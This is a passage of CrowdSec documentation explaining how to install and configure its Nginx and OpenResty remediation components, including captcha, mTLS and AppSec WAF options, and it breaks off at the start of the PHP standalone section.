CAPTCHA_TEMPLATE_PATH=/var/lib/crowdsec/lua/templates/captcha.html CAPTCHA_EXPIRATION=3600 ``` Restart Nginx. You can add a decisions with a type `captcha` to check if it works correctly: SHCOPY ``` sudo cscli decisions add -i -t captcha ``` ## FAQ[โ€‹](#faq "Direct link to FAQ") ### Why aren't decisions applied instantly[โ€‹](#why-arent-decisions-applied-instantly "Direct link to Why aren't decisions applied instantly") In stream mode, the component will launch an internal timer to pull the local API at the first request. So the cache won't be refreshed until the first request hits the service. ### Resolver and certificates[โ€‹](#resolver-and-certificates "Direct link to Resolver and certificates") In order to resolve the captcha provider you need to set a resolver and a SSL certificate in your nginx configuration. If you already have a resolver set in nginx configuration, you don't need to add another one. Here is a config example, but you can change values: /etc/nginx/conf.d/crowdsec\_nginx.conf SH/etc/nginx/conf.d/crowdsec\_nginx.confCOPY ``` resolver 8.8.8.8 ipv6=off; lua_ssl_trusted_certificate /etc/ssl/certs/ca-certificates.crt; ``` And restart Nginx. ### Ubuntu 22.xx getting lua error[โ€‹](#ubuntu-22xx-getting-lua-error "Direct link to Ubuntu 22.xx getting lua error") On Ubuntu 22.xx, the default NGINX package does not include the `lua` module due to compatibility issues with other modules. This has been resolved in later versions of Ubuntu. #### How to fix it[โ€‹](#how-to-fix-it "Direct link to How to fix it") You have a few options to resolve this issue: * **Upgrade to Ubuntu 24.04 or later**
The `lua` module is included again in newer Ubuntu releases. * **Use OpenResty instead of NGINX**
OpenResty is a drop-in replacement for NGINX that includes the `lua` module by default. > Note: OpenResty uses slightly different service names and paths, but configuration remains compatible with standard NGINX. * **Manually compile the lua module**
This is a more advanced approach and requires manual steps to build and install the module yourself. ## Configuration Reference[โ€‹](#configuration-reference "Direct link to Configuration Reference") ### `API_KEY`[โ€‹](#api_key "Direct link to api_key") > string SHCOPY ``` API_KEY= ``` CrowdSec Local API key. Generated with [`sudo cscli bouncers add`](https://docs.crowdsec.net/u/getting_started/installation/linux.md) command. ### `API_URL`[โ€‹](#api_url "Direct link to api_url") > string SHCOPY ``` API_URL=http://: ``` CrowdSec local API URL. ### `USE_TLS_AUTH`[โ€‹](#use_tls_auth "Direct link to use_tls_auth") > boolean SHCOPY ``` USE_TLS_AUTH=false # default ``` Enable mutual TLS (mTLS) authentication for secure communication with CrowdSec Local API. When enabled, the bouncer will use client certificates for authentication instead of API keys. ### `TLS_CLIENT_CERT`[โ€‹](#tls_client_cert "Direct link to tls_client_cert") > string (path to file) SHCOPY ``` TLS_CLIENT_CERT= ``` Path to the client certificate file for mTLS authentication. This option is only used when `USE_TLS_AUTH` is set to `true`. ### `TLS_CLIENT_KEY`[โ€‹](#tls_client_key "Direct link to tls_client_key") > string (path to file) SHCOPY ``` TLS_CLIENT_KEY= ``` Path to the client certificate's private key file for mTLS authentication. This option is only used when `USE_TLS_AUTH` is set to `true`. ### `BOUNCING_ON_TYPE`[โ€‹](#bouncing_on_type "Direct link to bouncing_on_type") > all | ban | captcha SHCOPY ``` BOUNCING_ON_TYPE=all ``` Type of remediation we want to bounce. If you choose `ban` only and receive a decision with `captcha` as remediation, the component will skip the decision. ### `FALLBACK_REMEDIATION`[โ€‹](#fallback_remediation "Direct link to fallback_remediation") > ban | captcha SHCOPY ``` FALLBACK_REMEDIATION=ban ``` The fallback remediation is applied if the component receives a decision with an unknown remediation. ### `MODE`[โ€‹](#mode "Direct link to mode") > stream | live SHCOPY ``` MODE=stream ``` The default mode is `live`. The component mode: * stream: The component will pull new/old decisions from the local API every X seconds (`UPDATE_FREQUENCY` parameter). * live: The component will query the local API for each requests (if IP is not in cache) and will store the IP in cache for X seconds (`CACHE_EXPIRATION` parameter). note The timer that pull the local API will be triggered after the first request. ### `REQUEST_TIMEOUT`[โ€‹](#request_timeout "Direct link to request_timeout") > int SHCOPY ``` REQUEST_TIMEOUT=1000 ``` Timeout in milliseconds for the HTTP requests done by the component to query CrowdSec local API or captcha provider (for the captcha verification). ### `EXCLUDE_LOCATION`[โ€‹](#exclude_location "Direct link to exclude_location") > string (comma separated) SHCOPY ``` EXCLUDE_LOCATION=/,/ ``` The locations to exclude while bouncing. It is a list of location, separated by commas. โš ๏ธ It is not recommended to put `EXCLUDE_LOCATION=/`. ### `ENABLE_INTERNAL`[โ€‹](#enable_internal "Direct link to enable_internal") > bool SHCOPY ``` ENABLE_INTERNAL=true ``` Whether to process internal requests or not (after a rewrite for example). Disabled by default. ### `CACHE_EXPIRATION`[โ€‹](#cache_expiration "Direct link to cache_expiration") > int > This option is only for the `live` mode. SHCOPY ``` CACHE_EXPIRATION=1 ``` The cache expiration, in second, for IPs that the remediation store in cache in `live` mode. ### `UPDATE_FREQUENCY`[โ€‹](#update_frequency "Direct link to update_frequency") > int > This option is only for the `stream` mode. SHCOPY ``` UPDATE_FREQUENCY=10 ``` The frequency of update, in second, to pull new/old IPs from the CrowdSec local API. ### `REDIRECT_LOCATION`[โ€‹](#redirect_location "Direct link to redirect_location") > string > This option is only for the `ban` remediation. SHCOPY ``` REDIRECT_LOCATION=/ ``` The location to redirect the user when there is a ban. If it is not set, the component will return the page defined in the `BAN_TEMPLATE_PATH` with the `RET_CODE` (403 by default). ### `BAN_TEMPLATE_PATH`[โ€‹](#ban_template_path "Direct link to ban_template_path") > string (path to file) > This option is only for the `ban` remediation. SHCOPY ``` BAN_TEMPLATE_PATH= ``` The path to a HTML page to return to IPs that trigger `ban` remediation. By default, the HTML template is located in `/var/lib/crowdsec/lua/templates/ban.html`. ### `RET_CODE`[โ€‹](#ret_code "Direct link to ret_code") > int > This option is only for the `ban` remediation. SHCOPY ``` RET_CODE=403 ``` The HTTP code to return for IPs that trigger a `ban` remediation. If nothing specified, it will return a 403. ### `CAPTCHA_PROVIDER`[โ€‹](#captcha_provider "Direct link to captcha_provider") > recaptcha | hcaptcha | turnstile > This option is only for the `captcha` remediation. SHCOPY ``` CAPTCHA_PROVIDER= string > This option is only for the `captcha` remediation. SHCOPY ``` SECRET_KEY= ``` The captcha secret key. ### `SITE_KEY`[โ€‹](#site_key "Direct link to site_key") > string > This option is only for the `captcha` remediation. SHCOPY ``` SITE_KEY= ``` The captcha site key. ### `CAPTCHA_TEMPLATE_PATH`[โ€‹](#captcha_template_path "Direct link to captcha_template_path") > string (path to file) > This option is only for the `captcha` remediation. SHCOPY ``` CAPTCHA_TEMPLATE_PATH= ``` The path to a captcha HTML template. The component will try to replace `{{captcha_site_key}}` in the template with `SITE_KEY` parameter. By default, the HTML template is located in `/var/lib/crowdsec/lua/templates/captcha.html`. ### `CAPTCHA_EXPIRATION`[โ€‹](#captcha_expiration "Direct link to captcha_expiration") > int > This option is only for the `captcha` remediation. SHCOPY ``` CAPTCHA_EXPIRATION=3600 ``` The time for which the captcha will be validated. After this duration, if the decision is still present in CrowdSec local API, the IPs address will get a captcha again. ### `CAPTCHA_RET_CODE`[โ€‹](#captcha_ret_code "Direct link to captcha_ret_code") > int > This option is only for the `captcha` remediation. SHCOPY ``` CAPTCHA_RET_CODE=200 ``` Specifies the HTTP status code that should be returned to the client when a CAPTCHA challenge is required. This is especially useful when your traffic is routed through a CDN (like Cloudflare), where you may want to avoid triggering caching based on non-200 status codes. By default if no value is provided it will use 200 status code. ### `APPSEC_URL`[โ€‹](#appsec_url "Direct link to appsec_url") > string > URL of the Application Security Component SHCOPY ``` APPSEC_URL=http://127.0.0.1:7422 ``` ### `APPSEC_FAILURE_ACTION`[โ€‹](#appsec_failure_action "Direct link to appsec_failure_action") > passthrough | deny SHCOPY ``` APPSEC_FAILURE_ACTION=passthrough # default ``` Behavior when the AppSec Component return a 500. Can let the request passthrough or deny it. ### `ALWAYS_SEND_TO_APPSEC`[โ€‹](#always_send_to_appsec "Direct link to always_send_to_appsec") > boolean SHCOPY ``` ALWAYS_SEND_TO_APPSEC=false # default ``` Send the request to the AppSec Component even if there is a decision for the IP. ### `SSL_VERIFY`[โ€‹](#ssl_verify "Direct link to ssl_verify") > boolean SHCOPY ``` SSL_VERIFY=false # default ``` Verify the AppSec Component SSL certificate validity. ### `APPSEC_CONNECT_TIMEOUT`[โ€‹](#appsec_connect_timeout "Direct link to appsec_connect_timeout") > int (milliseconds) SHCOPY ``` APPSEC_CONNECT_TIMEOUT=100 # default ``` The timeout of the connection between the Remediation Component and AppSec Component. ### `APPSEC_SEND_TIMEOUT`[โ€‹](#appsec_send_timeout "Direct link to appsec_send_timeout") > int (milliseconds) SHCOPY ``` APPSEC_SEND_TIMEOUT=100 # default ``` The timeout to send data from the Remediation Component to the AppSec Component. ### `APPSEC_PROCESS_TIMEOUT`[โ€‹](#appsec_process_timeout "Direct link to appsec_process_timeout") > int (milliseconds) SHCOPY ``` APPSEC_PROCESS_TIMEOUT=500 # default ``` The timeout to process the request from the Remediation Component to the AppSec Component. ### `APPSEC_DROP_UNREADABLE_BODY`[โ€‹](#appsec_drop_unreadable_body "Direct link to appsec_drop_unreadable_body") > bool SHCOPY ``` APPSEC_DROP_UNREADABLE_BODY=false #default ``` If the bouncer cannot read the request body (eg, HTTP2 without Content-Length header), drop or not the request without forwarding it to the WAF. If set to `false` (the default), the request will be evaluated by the WAF without the body content. If set to `true`, the request will be blocked directly by nginx. ### Nginx variables[โ€‹](#nginx-variables "Direct link to Nginx variables") Nginx variables can be used to adapt behaviour and or more flexible configurations: * `ngx.var.crowdsec_disable_bouncer`: set to 1, it will disable the bouncer * `ngx.var.crowdsec_enable_bouncer`: set to 1, it will disable the bouncer * `ngx.var.crowdsec_enable_appsec`: set to 1, it will enable the appsec even if it's disabled by configuration or if bouncer is disabled * `ngx.var.crowdsec_disable_appsec`: set to 1, it will disable the appsec * `ngx.var.crowdsec_always_send_to_appsec`: set 1, it will always send the request to appsec, even if a decision already exist for the ip requesting If both `ngx.var.crowdsec_disable_bouncer` and `ngx.var.crowdsec_enable_bouncer`, or both `ngx.var.crowdsec_disable_appsec` and `ngx.var.crowdsec_enable_appsec` are set to 1, it's the disable configuration that prevails. --- # OpenResty ![CrowdSec](/img/openresty.svg "CrowdSec") ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#installation/) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) AppSecSupported ModeLive & Stream MetricsSupported MTLSSupported PrometheusUnsupported A lua Remediation Component for OpenResty. Enable the WAF for optimal protection After installing the bouncer, enable the [AppSec (WAF) Component](https://docs.crowdsec.net/docs/next/appsec/intro.md) to get virtual patching and defense against known CVEs, SQL injection, XSS, and other application-layer attacks. Follow the dedicated [AppSec Quickstart for Nginx/OpenResty](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty.md) โ€” it picks up right where this page ends. ## How does it work ?[โ€‹](#how-does-it-work- "Direct link to How does it work ?") This component leverages OpenResty lua's API, namely `access_by_lua_block` to check the IP address against the local API. Supported features: * Live mode (query the local API for each request) * Stream mode (pull the local API for new/old decisions every X seconds) * Ban remediation (can ban an IP address by redirecting him or returning a custom HTML page) * Captcha remediation (can return a captcha) * Works with IPv4/IPv6 * Support IP ranges (can apply a remediation on an IP range) * Application Security Component (forward request to CrowdSec Application Security Engine and block is necessary) At the back, this component uses [crowdsec lua lib](https://github.com/crowdsecurity/lua-cs-bouncer/). warning If you need to upgrade the component from v0.X to v1.X, please follow [this migration process](#migrate-from-v0-to-v1) ## Installation[โ€‹](#installation "Direct link to Installation") Before installation openresty component depends on openresty, openresty-opm, gettext-base. it has been tested only on debian/ubuntu based distributions. You can install openresty and openresty-opm from [openresty linux packages](https://openresty.org/en/linux-packages.html). Install the following packages: SHCOPY ``` sudo apt install openresty openresty-opm gettext-base ``` ### Using packages[โ€‹](#using-packages "Direct link to Using packages") [Setup crowdsec repositories](https://docs.crowdsec.net/u/getting_started/installation/linux.md#repository-installation). * Debian/Ubuntu * RHEL/Centos/Fedora SHCOPY ``` sudo apt install crowdsec-openresty-bouncer ``` SHCOPY ``` sudo yum install crowdsec-openresty-bouncer ``` info In stream mode, the component will launch an internal timer to pull the local API at the first request made to the server. After installation [The openresty linux packages](https://openresty.org/en/linux-packages.html) doesn't include any `conf.d/` directory for custom configurations. You need to add `include /usr/local/openresty/nginx/conf/conf.d/crowdsec_openresty.conf; `in nginx config file `/usr/local/openresty/nginx/conf/nginx.conf` in the **http** section. ### Manual installation[โ€‹](#manual-installation "Direct link to Manual installation") Download the latest release [here](https://github.com/crowdsecurity/cs-openresty-bouncer/releases) SHCOPY ``` tar xvzf crowdsec-openresty-bouncer.tgz cd crowdsec-openresty-bouncer-v*/ sudo ./install.sh ``` If you are on a mono-machine setup, the `crowdsec-openresty-bouncer` install script will register directly to the local crowdsec, so you're good to go ! โš ๏ธ the installation script will take care of dependencies for Debian/Ubuntu non-debian based dependencies * openresty-opm : OpenResty Package Manager * pintsized/lua-resty-http : lua lib managed by openresty-opm ## Enable the WAF (AppSec Component)[โ€‹](#enable-the-waf-appsec-component "Direct link to Enable the WAF (AppSec Component)") For real-time WAF protection โ€” virtual patching, defense against known CVEs, SQLi, XSS, and other application-layer attacks โ€” turn on the AppSec Component after installing the bouncer. Recommended: enable the WAF for optimal protection Follow the [AppSec Quickstart for Nginx/OpenResty](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty.md) to enable the WAF. It's a few copy-paste commands and picks up right where this installation ends. The AppSec-related knobs in `/etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf` are documented in the [Configuration Reference](#configuration-reference) below (all `APPSEC_*` entries). ## Configuration[โ€‹](#configuration "Direct link to Configuration") ### Component configuration[โ€‹](#component-configuration "Direct link to Component configuration") /etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf SH/etc/crowdsec/bouncers/crowdsec-openresty-bouncer.confCOPY ``` API_URL= API_KEY= # bounce for all type of remediation that the remediation can receive from the local API BOUNCING_ON_TYPE=all # when the remediation receive an unknown remediation, fallback to this remediation FALLBACK_REMEDIATION=ban MODE=stream REQUEST_TIMEOUT=1000 # exclude the bouncing on those location EXCLUDE_LOCATION= # Cache expiration in live mode, in second CACHE_EXPIRATION=1 # Update frequency in stream mode, in second UPDATE_FREQUENCY=10 #those apply for "ban" action # /!\ REDIRECT_LOCATION and BAN_TEMPLATE_PATH/RET_CODE can't be used together. REDIRECT_LOCATION take priority over RET_CODE AND BAN_TEMPLATE_PATH BAN_TEMPLATE_PATH=/var/lib/crowdsec/lua/templates/ban.html REDIRECT_LOCATION= RET_CODE= #those apply for "captcha" action #valid providers are recaptcha, hcaptcha, turnstile CAPTCHA_PROVIDER= # default is recaptcha to ensure backwards compatibility # Captcha Secret Key SECRET_KEY= # Captcha Site key SITE_KEY= CAPTCHA_TEMPLATE_PATH=/var/lib/crowdsec/lua/templates/captcha.html CAPTCHA_EXPIRATION=3600 # mTLS Configuration USE_TLS_AUTH=false TLS_CLIENT_CERT= TLS_CLIENT_KEY= ## Application Security Component Configuration APPSEC_URL= #### default ### APPSEC_FAILURE_ACTION=passthrough APPSEC_CONNECT_TIMEOUT=100 APPSEC_SEND_TIMEOUT=100 APPSEC_PROCESS_TIMEOUT=1000 ALWAYS_SEND_TO_APPSEC=false APPSEC_DROP_UNREADABLE_BODY=false SSL_VERIFY=true ################ ``` Any `/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf.local` content will take precedence over `/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf`. All fields don't have to be present in this `.local.` file. ### OpenResty Configuration[โ€‹](#openresty-configuration "Direct link to OpenResty Configuration") The component OpenResty configuration is located in `/usr/local/openresty/nginx/conf/conf.d/crowdsec_openresty.conf` : /usr/local/openresty/nginx/conf/conf.d/crowdsec\_openresty.conf SH/usr/local/openresty/nginx/conf/conf.d/crowdsec\_openresty.confCOPY ``` lua_package_path '$prefix/../lualib/plugins/crowdsec/?.lua;;'; lua_shared_dict crowdsec_cache 50m; lua_ssl_trusted_certificate /etc/ssl/certs/ca-certificates.crt; init_by_lua_block { cs = require "crowdsec" local ok, err = cs.init("/etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf", "crowdsec-openresty-bouncer/v1.1.0") if ok == nil then ngx.log(ngx.ERR, "[Crowdsec] " .. err) error() end if ok == "Disabled" then ngx.log(ngx.ALERT, "[Crowdsec] Bouncer Disabled") else ngx.log(ngx.ALERT, "[Crowdsec] Initialisation done") end } map $server_addr $unix { default 0; "~unix:" 1; } access_by_lua_block { local cs = require "crowdsec" if ngx.var.unix == "1" then ngx.log(ngx.DEBUG, "[Crowdsec] Unix socket request ignoring...") else cs.Allow(ngx.var.remote_addr) end } init_worker_by_lua_block { cs = require "crowdsec" local mode = cs.get_mode() if string.lower(mode) == "stream" then ngx.log(ngx.INFO, "Initializing stream mode for worker " .. tostring(ngx.worker.id())) cs.SetupStream() end if ngx.worker.id() == 0 then ngx.log(ngx.INFO, "Initializing metrics for worker " .. tostring(ngx.worker.id())) cs.SetupMetrics() end } ``` The component uses [lua\_shared\_dict](https://github.com/openresty/lua-nginx-module#lua_shared_dict) to share cache between all workers. If you want to increase the cache size you need to change this value `lua_shared_dict crowdsec_cache 50m;`. โš ๏ธ Do not rename the `crowdsec_cache` shared dict, else the bouncer will not work anymore. #### When using captcha remediation[โ€‹](#when-using-captcha-remediation "Direct link to When using captcha remediation") To make HTTP request in the component, we need to set a `resolver` in the configuration. We choose `local=on` directive since we query `google.com` for the captcha verification, but you can replace it with a valid one. To make secure HTTP request in the component, we need to specify a trusted certificate (`lua_ssl_trusted_certificate`). You can also change this with a valid one : TEXTCOPY ``` - /etc/ssl/certs/ca-certificates.crt (Debian/Ubuntu/Gentoo) - /etc/pki/tls/certs/ca-bundle.crt (Fedora/RHEL 6) - /etc/ssl/ca-bundle.pem (OpenSUSE) - /etc/pki/tls/cacert.pem (OpenELEC) - /etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem (CentOS/RHEL 7) - /etc/ssl/cert.pem (OpenBSD, Alpine) ``` ### Application Security Component Configuration[โ€‹](#application-security-component-configuration "Direct link to Application Security Component Configuration") To turn on the WAF, follow the [AppSec Quickstart for Nginx/OpenResty](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty.md). The AppSec-related options in `/etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf`: /etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf SH/etc/crowdsec/bouncers/crowdsec-openresty-bouncer.confCOPY ``` # Mandatory - set to enable AppSec APPSEC_URL=http://127.0.0.1:7422 # Optional APPSEC_FAILURE_ACTION=passthrough # default APPSEC_CONNECT_TIMEOUT=100 # default APPSEC_SEND_TIMEOUT=100 # default APPSEC_PROCESS_TIMEOUT=1000 # default ALWAYS_SEND_TO_APPSEC=false # default SSL_VERIFY=true # default ``` warning Due to limitations in the underlying library used by the remediation component, by default, the body of any HTTP2/HTTP3 request without a Content-Length will not be analyzed. To avoid potential bypasses of the WAF, you can set the option `APPSEC_DROP_UNREADABLE_BODY` to `true` to drop any request whose body cannot be inspected. ### Setup captcha[โ€‹](#setup-captcha "Direct link to Setup captcha") > Currently, we have support for 3 providers: recaptcha, hcaptcha or turnstile If you want to use captcha with your OpenResty, you must provide a Site key and Secret key in your component configuration. If you wish to use any other provider than recaptcha you must also provide a Captcha provider. ([recaptcha documentation](https://developers.google.com/recaptcha/intro)). ([tunstile documentation](https://developers.cloudflare.com/turnstile/)). ([hcaptcha documentation](https://docs.hcaptcha.com/)) Edit `etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf` and configure the following options: SHCOPY ``` CAPTCHA_PROVIDER= SECRET_KEY= SITE_KEY= CAPTCHA_TEMPLATE_PATH=/var/lib/crowdsec/lua/templates/captcha.html CAPTCHA_EXPIRATION=3600 ``` Restart OpenResty. You can add a decisions with a type `captcha` to check if it works correctly: SHCOPY ``` sudo cscli decisions add -i -t captcha ``` ## FAQ[โ€‹](#faq "Direct link to FAQ") ### Why aren't decisions applied instantly[โ€‹](#why-arent-decisions-applied-instantly "Direct link to Why aren't decisions applied instantly") In stream mode, the component will launch an internal timer to pull the local API at the first request. So the cache won't be refreshed until the first request hits the service. ### Resolver and certificates[โ€‹](#resolver-and-certificates "Direct link to Resolver and certificates") In order to resolve the captcha provider you need to set a resolver and a SSL certificate in your nginx configuration. If you already have a resolver set in nginx configuration, you don't need to add another one. Here is a config example, but you can change values: /usr/local/openresty/nginx/conf/conf.d/crowdsec\_openresty.conf SH/usr/local/openresty/nginx/conf/conf.d/crowdsec\_openresty.confCOPY ``` resolver local=on ipv6=off; lua_ssl_trusted_certificate /etc/ssl/certs/ca-certificates.crt; ``` And restart OpenResty. ### Migrate from v0 to v1[โ€‹](#migrate-from-v0-to-v1 "Direct link to Migrate from v0 to v1") The best way to migrate from the crowdsec-openresty-bouncer v0.\* to v1 is to reinstall the bouncer. Indeed, many new configurations options are now available and some have been removed. * Backup your CrowdSec Local API key from your configuration file (`/etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf`) * Remove the old component: SHCOPY ``` sudo apt-get remove --purge crowdsec-openresty-bouncer ``` * Install the new component: SHCOPY ``` sudo apt-get update sudo apt-get install crowdsec-openresty-bouncer ``` * Configure the component in `/etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf` ## Configuration Reference[โ€‹](#configuration-reference "Direct link to Configuration Reference") ### `API_KEY`[โ€‹](#api_key "Direct link to api_key") > string SHCOPY ``` API_KEY= ``` CrowdSec Local API key. Generated with [`sudo cscli bouncers add`](https://docs.crowdsec.net/u/getting_started/installation/linux.md) command. ### `API_URL`[โ€‹](#api_url "Direct link to api_url") > string SHCOPY ``` API_URL=http://: ``` CrowdSec local API URL. ### `USE_TLS_AUTH`[โ€‹](#use_tls_auth "Direct link to use_tls_auth") > boolean SHCOPY ``` USE_TLS_AUTH=false # default ``` Enable mutual TLS (mTLS) authentication for secure communication with CrowdSec Local API. When enabled, the bouncer will use client certificates for authentication instead of API keys. ### `TLS_CLIENT_CERT`[โ€‹](#tls_client_cert "Direct link to tls_client_cert") > string (path to file) SHCOPY ``` TLS_CLIENT_CERT= ``` Path to the client certificate file for mTLS authentication. This option is only used when `USE_TLS_AUTH` is set to `true`. ### `TLS_CLIENT_KEY`[โ€‹](#tls_client_key "Direct link to tls_client_key") > string (path to file) SHCOPY ``` TLS_CLIENT_KEY= ``` Path to the client certificate's private key file for mTLS authentication. This option is only used when `USE_TLS_AUTH` is set to `true`. ### `BOUNCING_ON_TYPE`[โ€‹](#bouncing_on_type "Direct link to bouncing_on_type") > all | ban | captcha SHCOPY ``` BOUNCING_ON_TYPE=all ``` Type of remediation we want to bounce. If you choose `ban` only and receive a decision with `captcha` as remediation, the component will skip the decision. ### `FALLBACK_REMEDIATION`[โ€‹](#fallback_remediation "Direct link to fallback_remediation") > ban | captcha SHCOPY ``` FALLBACK_REMEDIATION=ban ``` The fallback remediation is applied if the component receives a decision with an unknown remediation. ### `MODE`[โ€‹](#mode "Direct link to mode") > stream | live SHCOPY ``` MODE=stream ``` The default mode is `live`. The component mode: * stream: The component will pull new/old decisions from the local API every X seconds (`UPDATE_FREQUENCY` parameter). * live: The component will query the local API for each requests (if IP is not in cache) and will store the IP in cache for X seconds (`CACHE_EXPIRATION` parameter). note The timer that pull the local API will be triggered after the first request. ### `REQUEST_TIMEOUT`[โ€‹](#request_timeout "Direct link to request_timeout") > int SHCOPY ``` REQUEST_TIMEOUT=1000 ``` Timeout in milliseconds for the HTTP requests done by the component to query CrowdSec local API or captcha provider (for the captcha verification). ### `EXCLUDE_LOCATION`[โ€‹](#exclude_location "Direct link to exclude_location") > string (comma separated) SHCOPY ``` EXCLUDE_LOCATION=/,/ ``` The locations to exclude while bouncing. It is a list of location, separated by commas. โš ๏ธ It is not recommended to put `EXCLUDE_LOCATION=/`. ### `CACHE_EXPIRATION`[โ€‹](#cache_expiration "Direct link to cache_expiration") > int > This option is only for the `live` mode. SHCOPY ``` CACHE_EXPIRATION=1 ``` The cache expiration, in second, for IPs that the remediation store in cache in `live` mode. ### `UPDATE_FREQUENCY`[โ€‹](#update_frequency "Direct link to update_frequency") > int > This option is only for the `stream` mode. SHCOPY ``` UPDATE_FREQUENCY=10 ``` The frequency of update, in second, to pull new/old IPs from the CrowdSec local API. ### `REDIRECT_LOCATION`[โ€‹](#redirect_location "Direct link to redirect_location") > string > This option is only for the `ban` remediation. SHCOPY ``` REDIRECT_LOCATION=/ ``` The location to redirect the user when there is a ban. If it is not set, the component will return the page defined in the `BAN_TEMPLATE_PATH` with the `RET_CODE` (403 by default). ### `BAN_TEMPLATE_PATH`[โ€‹](#ban_template_path "Direct link to ban_template_path") > string (path to file) > This option is only for the `ban` remediation. SHCOPY ``` BAN_TEMPLATE_PATH= ``` The path to a HTML page to return to IPs that trigger `ban` remediation. By default, the HTML template is located in `/var/lib/crowdsec/lua/templates/ban.html`. ### `RET_CODE`[โ€‹](#ret_code "Direct link to ret_code") > int > This option is only for the `ban` remediation. SHCOPY ``` RET_CODE=403 ``` The HTTP code to return for IPs that trigger a `ban` remediation. If nothing specified, it will return a 403. ### `CAPTCHA_PROVIDER`[โ€‹](#captcha_provider "Direct link to captcha_provider") > recaptcha | hcaptcha | turnstile > This option is only for the `captcha` remediation. SHCOPY ``` CAPTCHA_PROVIDER= string > This option is only for the `captcha` remediation. SHCOPY ``` SECRET_KEY= ``` The captcha secret key. ### `SITE_KEY`[โ€‹](#site_key "Direct link to site_key") > string > This option is only for the `captcha` remediation. SHCOPY ``` SITE_KEY= ``` The captcha site key. ### `CAPTCHA_TEMPLATE_PATH`[โ€‹](#captcha_template_path "Direct link to captcha_template_path") > string (path to file) > This option is only for the `captcha` remediation. SHCOPY ``` CAPTCHA_TEMPLATE_PATH= ``` The path to a captcha HTML template. The component will try to replace `{{captcha_site_key}}` in the template with `SITE_KEY` parameter. By default, the HTML template is located in `/var/lib/crowdsec/lua/templates/captcha.html`. ### `CAPTCHA_EXPIRATION`[โ€‹](#captcha_expiration "Direct link to captcha_expiration") > int > This option is only for the `captcha` remediation. SHCOPY ``` CAPTCHA_EXPIRATION=3600 ``` The time for which the captcha will be validated. After this duration, if the decision is still present in CrowdSec local API, the IPs address will get a captcha again. ### `APPSEC_URL`[โ€‹](#appsec_url "Direct link to appsec_url") > string > URL of the Application Security Component SHCOPY ``` APPSEC_URL=http://127.0.0.1:7422 ``` ### `APPSEC_FAILURE_ACTION`[โ€‹](#appsec_failure_action "Direct link to appsec_failure_action") > passthrough | deny SHCOPY ``` APPSEC_FAILURE_ACTION=passthrough # default ``` Behavior when the AppSec Component return a 500. Can let the request passthrough or deny it. ### `ALWAYS_SEND_TO_APPSEC`[โ€‹](#always_send_to_appsec "Direct link to always_send_to_appsec") > boolean SHCOPY ``` ALWAYS_SEND_TO_APPSEC=false # default ``` Send the request to the AppSec Component even if there is a decision for the IP. ### `SSL_VERIFY`[โ€‹](#ssl_verify "Direct link to ssl_verify") > boolean SHCOPY ``` SSL_VERIFY=false # default ``` Verify the AppSec Component SSL certificate validity. ### `APPSEC_CONNECT_TIMEOUT`[โ€‹](#appsec_connect_timeout "Direct link to appsec_connect_timeout") > int (milliseconds) SHCOPY ``` APPSEC_CONNECT_TIMEOUT=100 # default ``` The timeout of the connection between the Remediation Component and AppSec Component. ### `APPSEC_SEND_TIMEOUT`[โ€‹](#appsec_send_timeout "Direct link to appsec_send_timeout") > int (milliseconds) SHCOPY ``` APPSEC_SEND_TIMEOUT=100 # default ``` The timeout to send data from the Remediation Component to the AppSec Component. ### `APPSEC_PROCESS_TIMEOUT`[โ€‹](#appsec_process_timeout "Direct link to appsec_process_timeout") > int (milliseconds) SHCOPY ``` APPSEC_PROCESS_TIMEOUT=500 # default ``` The timeout to process the request from the Remediation Component to the AppSec Component. ### `APPSEC_DROP_UNREADABLE_BODY`[โ€‹](#appsec_drop_unreadable_body "Direct link to appsec_drop_unreadable_body") > bool SHCOPY ``` APPSEC_DROP_UNREADABLE_BODY=false #default ``` If the bouncer cannot read the request body (eg, HTTP2 without Content-Length header), drop or not the request without forwarding it to the WAF. If set to `false` (the default), the request will be evaluated by the WAF without the body content. If set to `true`, the request will be blocked directly by nginx. ### Nginx variables[โ€‹](#nginx-variables "Direct link to Nginx variables") Nginx variables can be used to adapt behaviour and or more flexible configurations: * ngx.var.cs\_disable\_bouncer: set to 1, it will disable the bouncer * ngx.var.enable\_appsec: set to 1, it will enable the appsec even if it's disabled by configuration or if bouncer is disabled * ngx.var.disable\_appsec: set to 1, it will disable the appsec --- # PHP Standalone ![CrowdSec](/img/crowdsec_bouncer_php.png "CrowdSec") ๐Ÿ“š [Documentation](#installation/) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) AppSecSupported ModeLive & Stream MetricsSupported MTLSSupported PrometheusUnsupported ## Overview[โ€‹](#overview "Direct link to Overview") This Remediation Component allows you to protect your PHP application from IPs that have been detected by CrowdSec. Depending on the decision taken by CrowdSec, user will either get denied (403) or have to fill a captcha (401). It uses the [PHP `auto_prepend_file` mechanism](https://www.php.net/manual/en/ini.core.php#ini.auto-prepend-file) and the [Crowdsec php remediation library](https://github.com/crowdsecurity/php-cs-bouncer) to offer remediation/IPS capability directly in your PHP application. It supports "ban" and "captcha" remediations, and all decisions of type Ip, Range or Country (geolocation). ### Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") * This is a PHP library, so you must have a working PHP (>= 7.2.5) installation. * Requires PHP extensions : `ext-curl`, `ext-gd`, `ext-json`, `ext-mbstring`. * Code sources are dealt with via `composer` and `git`. * Have CrowdSec on the same machine, or at least be able to reach LAPI. ## Installation[โ€‹](#installation "Direct link to Installation") ### Preparation[โ€‹](#preparation 